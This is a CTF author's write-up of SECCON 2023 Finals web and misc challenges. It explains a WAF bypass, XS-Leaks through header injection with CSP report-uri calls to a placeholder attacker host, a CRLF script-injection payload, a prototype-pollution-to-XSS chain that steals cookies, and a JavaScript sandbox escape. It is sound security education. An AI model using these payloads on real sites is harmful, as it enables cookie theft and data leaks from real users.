SECCON CTF 2023 Finals: Author Writeups
I wrote 4 web challenges and 1 misc challenge for SECCON CTF 2023 Finals. I hope you enjoyed the CTF and want to read your feedback and writeups.
My challenges:
Challenge | Category | Intended Difficulty | Solved / 12 (Internatinal) | Solved / 12 (Domestic) | Keywords |
---|---|---|---|---|---|
babywaf | web | warmup | 8 | 4 | WAF bypass |
cgi-2023 | web | medium | 5 | 2 | XS-Leak, SRI |
LemonMD | web | medium | 2 | 1 | Islands Architecture |
DOMLeakify | web | hard | 1 | 0 | CSSi on style attributes |
whitespace.js | misc | easy | 2 | 2 | JavaScript sandbox |
I added the source code and author's solvers to my-ctf-challenges repository.
[web] babywaf
- International: 8 solved / 12
- Domestic: 4 solved / 12
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202312_SECCON_CTF_2023_Finals/web/babywaf
Description:
Do you want a flag? π©π©π©
- Challenge:
http://babywaf.{int,dom}.seccon.games:3000
babywaf.tar.gz
Overview
If you click a button "Click me!", you can get a flag emoji
There are two services proxy
and backend
:
1 | services: |
backend/index.js
:
1 | const express = require("express"); |
If you can send a JSON containing a key givemeflag
(e.g. {"givemeflag": true}
) to backend
, you will get the flag.
proxy/index.js
:
1 | const app = require("fastify")(); |
However, the proxy
server returns π©
when it receives a JSON containing a key givemeflag
.
Solution
You should make a JSON that satisfies the following conditions:
- The
backend
server, i.e. a JSON parser of Express, recognizes it as a JSON containing a keygivemeflag
. - The
proxy
server fails to parse it as a JSON value atJSON.parse(req.body)
.
In conclusion, the following JSON satisfies them where \ufeff
is a BOM:
1 | \ufeff{"givemeflag": true} |
Web frameworks often allow JSON values to be added a BOM at the beginning. For example, Fastify and Express check a BOM at:
- Fastify: https://github.com/fastify/secure-json-parse/blob/v2.7.0/index.js#L20-L23
- Express: https://github.com/ashtuchkin/iconv-lite/blob/v0.6.3/lib/bom-handling.js#L39-L40
It is also mentioned on section 8.1 of RFC 8259:
Implementations MUST NOT add a byte order mark (U+FEFF) to the beginning of a networked-transmitted JSON text. In the interests of interoperability, implementations that parse JSON texts MAY ignore the presence of a byte order mark rather than treating it as an error.
From: https://datatracker.ietf.org/doc/html/rfc8259#section-8.1
On the other hand, JSON.parse
does not allow a BOM:
1 | > JSON.parse('{"givemeflag": true}') |
Solver
1 | import httpx |
Unintended solutions
Some teams seemed to solve this challenge using deflate encoding with only ASCII characters. It is also a valid solution.
Flag
1 | SECCON{**MAY**_in_rfc8259_8.1} |
[web] cgi-2023
- International: 5 solved / 12
- Domestic: 2 solved / 12
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202312_SECCON_CTF_2023_Finals/web/cgi-2023
Description:
CGI is one of the lost technologies.
- Challenge:
http://cgi-2023.{int,dom}.seccon.games:3000
- Admin bot:
http://cgi-2023.{int,dom}.seccon.games:1337
cgi-2023.tar.gz
Overview
The web server works with Apache HTTP Server.
web/ctf.conf
:
1 | LoadModule cgid_module modules/mod_cgid.so |
It uses CGI and always adds CSP default-src 'none';
to HTTP responses.
The CGI server is written in Go. It's very simple.
web/main.go
:
1 | package main |
It returns the flag cookie in the response body. If a parameter q
exists, it prints the value before fmt.Fprint(w, flag.Value)
.
The bot implementation is as follows.
bot/bot.js
:
1 | import puppeteer from "puppeteer"; |
From the implementation, the goal seems to steal the flag cookie with XS-Leak.
Solution
Obviously, you can perform header injection attacks for a parameter q
.
If you access the following URL:
1 | location = "http://localhost:3000?q=" + |
The website will show:
Is there a useful header that could be used for XS-Leaks?
My solution used Content-Security-Policy-Report-Only
:
If the following header exists, a CSP error report is sent to the attacker server when the subresource integrity (SRI) check fails for style-src
:
1 | Content-Security-Policy-Report-Only: style-src 'sha256-...'; report-uri http://attacker.example.com |
Now, consider the following URL:
1 | location = "http://localhost:3000?q=" + encodeURIComponent(` |
where sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U=
is the integrity value of the following string:
1 | Status: 200 OK |
Then, the response body is as follows if the flag cookie is FLAG=SECCON{dummy}
:
1 | <style>Status: 200 OK |
The SRI check will succeed, and the CSP error report won't be sent.
If the SRI check fails, the CSP error report will be sent.
Thus, we can use the behavior as an oracle to perform XS-Leaks.
Solver
Here is my full exploit:
Unintended solutions
There were some unintended solutions:
Content-Security-Policy-Report-Only
+ Lazy-loading iframe + Scroll to Text Fragment:- Writeups by Pencake from HK Guesser:
- I was surprised that lazy loading affects the time when CSP errors occur.
- Bypassing
status
checks using%0d
:- Payload by Paul_Axe from More Smoked Leet Chicken:
1
GET /?q=s%0dtatus:103%20Eearly%20Hints%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:text/html%0d%0a%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
- I added a check
!strings.Contains(strings.ToLower(q), "status")
to prevent solutions with100 Continue
or103 Early Hints
. However, the above solution succeeded to bypass it using%0d
- Payload by Paul_Axe from More Smoked Leet Chicken:
Content-Security-Policy-Report-Only
with'report-sample'
+ utf-16 encoding:- Payload by maple3142 from
${CyStick}
:1
http://web:3000/?q=Content-Security-Policy-Report-Only:%20default-src%20%27report-sample%27%3B%20report-uri%20https://YOUR_SERVER/xx%0aContent-Type:text/html%3Bcharset=utf-16%0a%0a%3C%00s%00t%00y%00l%00e%00%3E%00
- I knew
'report-sample'
technique, but I thought it is invalid for this challenge because it can leak only the first 40 characters. The above solution used utf-16 encoding to increase the number of bytes that can be leaked.
- Payload by maple3142 from
Flag
1 | SECCON{leaky_sri} |
[web] LemonMD
- International: 2 solved / 12
- Domestic: 1 solved / 12
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202312_SECCON_CTF_2023_Finals/web/lemonmd
Description:
ππβ¨
- Challenge:
http://lemonmd.{int,dom}.seccon.games:3000
- Admin bot:
http://lemonmd.{int,dom}.seccon.games:1337
lemonmd.tar.gz
Overview
This service provides a Markdown editor and shows the preview.
It's implemented with Fresh, which is a web framework for Deno:
Challenge files:
1 | lemonmd |
The goal is to get XSS to steal the flag cookie.
Solution
Step 1: Props Manipulation for Islands Architecture
Fresh uses Islands Architecture, and the following article introduces how islands work in Fresh:
A generated client-side script is as follows (formatted):
1 | <script type="module" nonce="7a73a306c5994dcfae243e3c1f5f8a43"> |
Fresh renders island components according to a JSON value of:
1 | document.getElementById("__FRSH_STATE").textContent |
So, if users can inject an HTML element with id="__FRSH_STATE"
, it is possible to manipulate the rendering process and potentially change the behavior of the application.
web/islands/Preview.tsx
:
1 | import type { Signal } from "@preact/signals"; |
Preview
renders a parameter text
as a Markdown content with deno-gfm. The library prevents XSS attacks with sanitize-html, but allows adding id
attributes to some HTML elements:
It means that you can manipulate the value of PreviewProps
with an HTML element with id="__FRSH_STATE"
.
For instance, if you input the following Markdown:
1 | <h1 id="__FRSH_STATE">{"v":{"0":[{"text":{"_f":"s","v":"Successfully manipulated!"}}]}}</h1> |
Fresh recognizes Successfully manipulated!
as a value of text
and renders it:
Step 2: Prototype Pollution in Deserialization
Next, let's take a dive into the implementation of Fresh.
The source code of deserialize
is as follows:
1 | export function deserialize( |
There is no check for Prototype Pollution attacks. It means that you are free to pollute anything you want through the props maniplation of Step 1.
For instance, if you input the following Markdown:
1 | <h1 id="__FRSH_STATE">{"v":{"bar":"foo"},"r":[[["bar"],["constructor","prototype","polluted"]]]}</h1> |
The polluted
property is polluted to "foo"
:
Step 3: Prototype Pollution Gadgets to XSS
The rest work you should do is finding a PP gadget to enable XSS attacks.
My solution used a known PP gadget for sanitize-html:
({})["*"]
->["onerror"]
- To allow
onerror
attribute for sanitization and enable XSS attacks. - FYI: https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/
- To allow
There seemed to be teams that polluted disableHtmlSanitization
as a PP gadget:
- Writeups by icchy from
:(
(This is a team name):
Solver
Finally, the following Markdown causes XSS and leaks the flag cookie:
1 | const text = `<h1 id="__FRSH_STATE">${JSON.stringify({ |
Here is my full exploit:
Flag
1 | SECCON{Do_not_m1x_HTML_injecti0n_and_I5lands_Archit3cture} |
[web] DOMLeakify
- International: 1 solved / 12
- Domestic: 0 solved / 12
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202312_SECCON_CTF_2023_Finals/web/domleakify
Description:
NO LEAK, NO LIFE.
- Challenge:
http://domleakify.{int,dom}.seccon.games:3000
- Admin bot:
http://domleakify.{int,dom}.seccon.games:1337
domleakify.tar.gz
Overview
This is a very simple XS-Leak challenge, but the intended difficulty is hard.
The source code is as follows.
web/app.py
:
1 | from flask import Flask, request, render_template |
web/templates/index.html
:
1 |
|
The goal is to construct an oracle to leak the IDs of the prefixes.
Also, as an important fact, the admin bot works on Firefox:
1 | const browser = await firefox.launch({ |
Solution
1 | document.getElementById("content").innerHTML = DOMPurify.sanitize(html, { |
This disallows style
elements and loading
attributes, which are often used for XS-Leak techniques. What can we do under the condition?
In conclusion, my solution used CSS injection on style
attributes.
As far as I know, well-known CSS injection techniques always assume that users can inject content into <style>
elements, not style
attributes. However, the following approach enables to leak IDs using malicious style attributes.
The most important key of my solution is -moz-element(#id)
:
This is an experimental CSS function and currently only works on Firefox:
The CSS function renders an image generated from the HTML element whose ID is specified by the argument.
For instance, if you access the following URL on Firefox:
1 | http://localhost:3000/#<div style="background-image: -moz-element(#SECCON\7b\64); height: 100px;"></div> |
Firefox shows a <div>
element that renders a background image generated from the element with id="#SECCON{d"
:
Next, if you access the following URL on Firefox:
1 | http://localhost:3000/#<div style="background-image: -moz-element(#SECCON\7b\64); height: 100px;"></div> |
The <div>
element does not render any background image because there is no element with id="#SECCON{a"
:
Can we utilize this difference to construct an oracle? Yes.
Consider the following element:
1 | <div style=" |
The style attribute applies graphical effects to the background image:
The process is very heavy. If you increase the values of drop-shadow
, Firefox will be busy or crash
On the other hand, consider the following element:
1 | <div style=" |
The <div>
element does not render any background image and the rendering process is light:
Okay, it is possible to detect whether the element with a given ID exists or not using typical XS-Leak techniques to judge the busy state of the browser!
Therefore, using the oracle, it is also possible to leak one character of the flag cookie at a time from the beginning.
Solver
In my solver, the function used for the timing attack is like this:
1 | // https://github.com/arkark/my-ctf-challenges/blob/main/challenges/202312_SECCON_CTF_2023_Finals/web/domleakify/solver/public/main.js#L20-L45 |
Here is my full exploit:
Unintended solutions
This challenge was solved only by HK Guesser and the solution was unintended.
However, it was a creative and interesting oracle using autoplay
of <video>
:
- Writeups by Pencake from HK Guesser:
Flag
1 | SECCON{attr_cssi} |
[misc] whitespace.js
- International: 2 solved / 12
- Domestic: 2 solved / 12
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202312_SECCON_CTF_2023_Finals/misc/whitespace-js
Description:
Don't worry, this is not an esolang challenge.
- Challenge:
http://whitespace-js.{int,dom}.seccon.games:3000
whitespace-js.tar.gz
Overview
This is a JavaScript sandbox challenge.
sandbox/index.js
:
1 | /* snip */ |
sandbox/whitespace.js
:
1 | const WHITESPACE = " "; |
The goal is to get RCE to read a flag file with an unknown name.
Solution & Solver
I expected many creative solutions by CTF players that love JavaScript.
Actually, each team that solved this challenge used a different solution.
My solver is one example of solutions:
1 | import httpx |
Flag[1]
1 | SECCON{P4querett3_Down_the_Bunburr0ws} |